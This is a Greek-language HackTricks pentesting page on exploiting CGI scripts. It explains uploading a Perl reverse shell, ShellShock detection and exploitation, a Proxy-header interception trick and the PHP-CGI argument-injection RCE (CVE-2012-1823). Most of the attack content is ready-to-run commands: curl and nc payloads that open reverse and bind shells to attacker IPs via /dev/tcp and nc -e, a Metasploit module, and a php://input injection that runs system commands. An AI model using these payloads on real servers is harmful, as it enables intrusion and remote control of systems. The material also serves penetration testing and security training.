9.2 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Πληροφορίες
Τα CGI scripts είναι perl scripts, οπότε, αν έχετε παραβιάσει έναν διακομιστή που μπορεί να εκτελεί .cgi scripts μπορείτε να ανεβάσετε ένα perl reverse shell `/usr/share/webshells/perl/perl-reverse-shell.pl`
, να αλλάξετε την επέκταση από .pl σε .cgi, να δώσετε δικαιώματα εκτέλεσης `chmod +x`
και να πρόσβαση στο reverse shell από τον web browser για να το εκτελέσετε. Για να δοκιμάσετε για CGI vulns συνιστάται να χρησιμοποιήσετε nikto -C all
και όλα τα plugins
ShellShock
ShellShock είναι μια ευπάθεια που επηρεάζει το ευρέως χρησιμοποιούμενο Bash command-line shell σε λειτουργικά συστήματα βασισμένα σε Unix. Στοχεύει στην ικανότητα του Bash να εκτελεί εντολές που περνούν από εφαρμογές. Η ευπάθεια έγκειται στη χειραγώγηση των μεταβλητών περιβάλλοντος, οι οποίες είναι δυναμικές ονομαστικές τιμές που επηρεάζουν το πώς εκτελούνται οι διαδικασίες σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσ attaching κακόβουλο κώδικα σε μεταβλητές περιβάλλοντος, ο οποίος εκτελείται μόλις ληφθεί η μεταβλητή. Αυτό επιτρέπει στους επιτιθέμενους να παραβιάσουν δυνητικά το σύστημα.
Εκμεταλλευόμενοι αυτή την ευπάθεια, η σελίδα θα μπορούσε να ρίξει ένα σφάλμα.
Μπορείτε να βρείτε αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια παλιά έκδοση Apache και cgi_mod με φάκελο cgi
ή χρησιμοποιώντας nikto.
Δοκιμή
Οι περισσότερες δοκιμές βασίζονται στο να εκτυπώνουν κάτι και να περιμένουν ότι αυτή η συμβολοσειρά θα επιστραφεί στην απάντηση του web. Αν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, αναζητήστε όλες τις σελίδες cgi και δοκιμάστε τις.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (αντανάκλαση, τυφλό και εκτός ζώνης)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Εκμετάλλευση
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Proxy (MitM to Web server requests)
CGI δημιουργεί μια μεταβλητή περιβάλλοντος για κάθε κεφαλίδα στην http αίτηση. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com"
Καθώς η μεταβλητή HTTP_PROXY θα μπορούσε να χρησιμοποιηθεί από τον web server. Προσπαθήστε να στείλετε μια κεφαλίδα που περιέχει: "Proxy: <IP_attacker>:<PORT>" και αν ο server εκτελεί οποιαδήποτε αίτηση κατά τη διάρκεια της συνεδρίας. Θα είστε σε θέση να καταγράψετε κάθε αίτηση που γίνεται από τον server.
Old PHP + CGI = RCE CVE-2012-1823, CVE-2012-2311
Βασικά, αν το cgi είναι ενεργό και το php είναι "παλιό" <5.3.12 / < 5.4.2
μπορείτε να εκτελέσετε κώδικα.
Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να αποκτήσετε πρόσβαση σε κάποιο αρχείο PHP του web server χωρίς να στείλετε παραμέτρους ειδικά χωρίς να στείλετε τον χαρακτήρα "="
.
Στη συνέχεια, για να δοκιμάσετε αυτήν την ευπάθεια, μπορείτε να αποκτήσετε πρόσβαση για παράδειγμα στο /index.php?-s
σημειώστε το `-s`
και ο πηγαίος κώδικας της εφαρμογής θα εμφανιστεί στην απάντηση.
Στη συνέχεια, για να αποκτήσετε RCE μπορείτε να στείλετε αυτήν την ειδική ερώτηση: /?-d allow_url_include=1 -d auto_prepend_file=php://input
και ο PHP κώδικας να εκτελείται στο σώμα της αίτησης.
Παράδειγμα:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Περισσότερες πληροφορίες σχετικά με την ευπάθεια και τις πιθανές εκμεταλλεύσεις: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.